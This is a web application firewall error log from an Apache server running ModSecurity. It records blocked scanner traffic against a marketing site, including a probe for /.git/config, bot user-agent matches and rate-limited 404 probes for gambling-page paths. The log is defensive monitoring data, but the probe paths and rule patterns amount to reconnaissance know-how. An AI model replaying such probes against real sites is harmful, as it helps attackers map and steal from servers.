[Tue Apr 07 10:57:15.850899 2026] [:error] [pid 59490:tid 59509] [client 217.216.72.68:57099] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/readme.html"] [unique_id "adRyi0cw8OFbiUZ7Rx0SDAAAAVE"]
[Tue Apr 07 10:57:16.110784 2026] [:error] [pid 37719:tid 37722] [client 217.216.72.68:56977] [client 217.216.72.68] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "adRyjE09Xv52u2xXGLDv0gAAAMA"]
[Tue Apr 07 11:33:08.407339 2026] [:error] [pid 37598:tid 37675] [client 159.223.184.140:44264] [client 159.223.184.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "adR69O9g7q_cV2WhPawsEAAAAI4"]
[Tue Apr 07 12:05:32.227732 2026] [:error] [pid 37719:tid 37746] [client 43.163.104.54:60986] [client 43.163.104.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adSCjE09Xv52u2xXGLAJwAAAANg"]
[Tue Apr 07 12:30:42.105505 2026] [:error] [pid 37598:tid 37677] [client 145.239.65.226:50042] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adSIcu9g7q_cV2WhPaw6jAAAAJA"]
[Tue Apr 07 12:30:44.652894 2026] [:error] [pid 37598:tid 37673] [client 145.239.65.226:43342] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adSIdO9g7q_cV2WhPaw6kAAAAIw"]
[Tue Apr 07 12:30:47.096357 2026] [:error] [pid 37596:tid 37610] [client 145.239.65.226:43358] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adSId6paAOZHEjRWjP1jBwAAAAQ"]
[Tue Apr 07 12:30:49.415262 2026] [:error] [pid 37719:tid 37746] [client 145.239.65.226:43368] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adSIeU09Xv52u2xXGLAXrQAAANg"]
[Tue Apr 07 12:30:51.891448 2026] [:error] [pid 37597:tid 37657] [client 145.239.65.226:47314] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adSIew6uAY0QAy-8EEISYQAAAFc"]
[Tue Apr 07 12:30:54.191544 2026] [:error] [pid 37597:tid 37644] [client 145.239.65.226:47318] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adSIfg6uAY0QAy-8EEISZAAAAEo"]
[Tue Apr 07 12:30:56.707570 2026] [:error] [pid 37597:tid 37635] [client 145.239.65.226:47334] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adSIgA6uAY0QAy-8EEISaQAAAEE"]
[Tue Apr 07 12:30:59.012205 2026] [:error] [pid 37719:tid 37742] [client 145.239.65.226:47338] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adSIg009Xv52u2xXGLAXvwAAANQ"]
[Tue Apr 07 12:31:01.441643 2026] [:error] [pid 59490:tid 59506] [client 145.239.65.226:47342] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adSIhUcw8OFbiUZ7Rx0f2QAAAU4"]
[Tue Apr 07 12:31:04.049158 2026] [:error] [pid 59490:tid 59498] [client 145.239.65.226:60578] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adSIiEcw8OFbiUZ7Rx0f3gAAAUY"]
[Tue Apr 07 12:31:06.461951 2026] [:error] [pid 59804:tid 59829] [client 145.239.65.226:60590] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adSIinYVIXiPh5_eJTkM8gAAAhc"]
[Tue Apr 07 12:31:08.911286 2026] [:error] [pid 37597:tid 37657] [client 145.239.65.226:60598] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adSIjA6uAY0QAy-8EEISewAAAFc"]
[Tue Apr 07 12:31:11.291424 2026] [:error] [pid 37598:tid 37661] [client 145.239.65.226:60610] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adSIj-9g7q_cV2WhPaw6rgAAAIA"]
[Tue Apr 07 12:31:13.839169 2026] [:error] [pid 37719:tid 37736] [client 145.239.65.226:37478] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adSIkU09Xv52u2xXGLAX6wAAAM4"]
[Tue Apr 07 12:31:16.250983 2026] [:error] [pid 37598:tid 37678] [client 145.239.65.226:37486] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adSIlO9g7q_cV2WhPaw6zwAAAJE"]
[Tue Apr 07 12:31:18.666571 2026] [:error] [pid 37597:tid 37658] [client 145.239.65.226:37496] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adSIlg6uAY0QAy-8EEISpQAAAFg"]
[Tue Apr 07 12:31:21.222981 2026] [:error] [pid 59551:tid 59557] [client 145.239.65.226:37504] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adSImV7LN7Ubyqs-sVtKLgAAAYQ"]
[Tue Apr 07 12:31:23.603294 2026] [:error] [pid 37597:tid 37647] [client 145.239.65.226:59898] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adSImw6uAY0QAy-8EEISsQAAAE0"]
[Tue Apr 07 12:31:26.150464 2026] [:error] [pid 59804:tid 59826] [client 145.239.65.226:59902] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "adSInnYVIXiPh5_eJTkNEAAAAhQ"]
[Tue Apr 07 12:31:28.536811 2026] [:error] [pid 59490:tid 59493] [client 145.239.65.226:59918] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adSIoEcw8OFbiUZ7Rx0f7wAAAUE"]
[Tue Apr 07 12:31:31.031855 2026] [:error] [pid 37719:tid 37733] [client 145.239.65.226:59932] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adSIo009Xv52u2xXGLAYCQAAAMs"]
[Tue Apr 07 12:31:33.529979 2026] [:error] [pid 37597:tid 37640] [client 145.239.65.226:36214] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adSIpQ6uAY0QAy-8EEIS0AAAAEY"]
[Tue Apr 07 12:31:36.048640 2026] [:error] [pid 37598:tid 37671] [client 145.239.65.226:36226] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adSIqO9g7q_cV2WhPaw65wAAAIo"]
[Tue Apr 07 12:31:38.569766 2026] [:error] [pid 59551:tid 59567] [client 145.239.65.226:36240] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adSIql7LN7Ubyqs-sVtKQgAAAY4"]
[Tue Apr 07 12:31:59.537244 2026] [:error] [pid 59551:tid 59569] [client 145.239.65.226:36256] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adSIv17LN7Ubyqs-sVtKaAAAAZA"]
[Tue Apr 07 12:32:01.971530 2026] [:error] [pid 37597:tid 37634] [client 145.239.65.226:60018] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adSIwQ6uAY0QAy-8EEITCQAAAEA"]
[Tue Apr 07 12:32:04.486208 2026] [:error] [pid 37597:tid 37657] [client 145.239.65.226:60022] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adSIxA6uAY0QAy-8EEITGAAAAFc"]
[Tue Apr 07 12:32:06.994046 2026] [:error] [pid 12948:tid 12962] [client 145.239.65.226:60030] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adSIxsbeSPAN8LvMqsZNfQAAAQs"]
[Tue Apr 07 12:32:09.494422 2026] [:error] [pid 37597:tid 37646] [client 145.239.65.226:60040] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adSIyQ6uAY0QAy-8EEITJgAAAEw"]
[Tue Apr 07 12:32:11.991827 2026] [:error] [pid 12948:tid 12963] [client 145.239.65.226:57646] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adSIy8beSPAN8LvMqsZNgQAAAQw"]
[Tue Apr 07 12:32:14.511802 2026] [:error] [pid 59551:tid 59561] [client 145.239.65.226:57648] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adSIzl7LN7Ubyqs-sVtKdwAAAYg"]
[Tue Apr 07 12:32:17.018572 2026] [:error] [pid 37719:tid 37731] [client 145.239.65.226:57660] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adSI0U09Xv52u2xXGLAYkgAAAMk"]
[Tue Apr 07 12:32:19.502085 2026] [:error] [pid 37719:tid 37732] [client 145.239.65.226:57666] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adSI0009Xv52u2xXGLAYowAAAMo"]
[Tue Apr 07 12:32:21.852854 2026] [:error] [pid 37597:tid 37653] [client 145.239.65.226:48574] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adSI1Q6uAY0QAy-8EEITOwAAAFM"]
[Tue Apr 07 12:32:24.355507 2026] [:error] [pid 59490:tid 59514] [client 145.239.65.226:48582] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adSI2Ecw8OFbiUZ7Rx0gAwAAAVY"]
[Tue Apr 07 12:32:26.878204 2026] [:error] [pid 37598:tid 37681] [client 145.239.65.226:48590] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adSI2u9g7q_cV2WhPaw7EQAAAJQ"]
[Tue Apr 07 12:32:29.362478 2026] [:error] [pid 37597:tid 37639] [client 145.239.65.226:48598] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adSI3Q6uAY0QAy-8EEITTAAAAEU"]
[Tue Apr 07 12:32:31.866149 2026] [:error] [pid 37597:tid 37645] [client 145.239.65.226:47266] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adSI3w6uAY0QAy-8EEITUAAAAEs"]
[Tue Apr 07 12:32:34.362037 2026] [:error] [pid 37719:tid 37740] [client 145.239.65.226:47278] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adSI4k09Xv52u2xXGLAYwwAAANI"]
[Tue Apr 07 12:32:36.888081 2026] [:error] [pid 59804:tid 59813] [client 145.239.65.226:47294] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adSI5HYVIXiPh5_eJTkNbQAAAgc"]
[Tue Apr 07 12:32:39.375656 2026] [:error] [pid 59551:tid 59577] [client 145.239.65.226:47300] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adSI517LN7Ubyqs-sVtKpwAAAZg"]
[Tue Apr 07 12:32:41.688382 2026] [:error] [pid 12948:tid 12954] [client 145.239.65.226:41904] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adSI6cbeSPAN8LvMqsZNkgAAAQM"]
[Tue Apr 07 12:32:44.216270 2026] [:error] [pid 37719:tid 37732] [client 145.239.65.226:41910] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adSI7E09Xv52u2xXGLAY1wAAAMo"]
[Tue Apr 07 12:32:46.716317 2026] [:error] [pid 59804:tid 59821] [client 145.239.65.226:41924] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adSI7nYVIXiPh5_eJTkNdwAAAg8"]
[Tue Apr 07 12:32:49.214654 2026] [:error] [pid 59660:tid 59679] [client 145.239.65.226:41928] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adSI8Tp3-oiX2o5bTszC8AAAAdE"]
[Tue Apr 07 12:32:51.714702 2026] [:error] [pid 37719:tid 37726] [client 145.239.65.226:51814] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adSI8009Xv52u2xXGLAY8gAAAMQ"]
[Tue Apr 07 12:32:54.203785 2026] [:error] [pid 37719:tid 37735] [client 145.239.65.226:51818] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adSI9k09Xv52u2xXGLAY-QAAAM0"]
[Tue Apr 07 12:32:56.659967 2026] [:error] [pid 59804:tid 59820] [client 145.239.65.226:51820] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adSI-HYVIXiPh5_eJTkNfwAAAg4"]
[Tue Apr 07 12:33:17.944358 2026] [:error] [pid 37597:tid 37652] [client 145.239.65.226:51834] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adSJDQ6uAY0QAy-8EEIUEgAAAFI"]
[Tue Apr 07 12:33:20.382290 2026] [:error] [pid 59551:tid 59555] [client 145.239.65.226:50128] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adSJEF7LN7Ubyqs-sVtK1AAAAYI"]
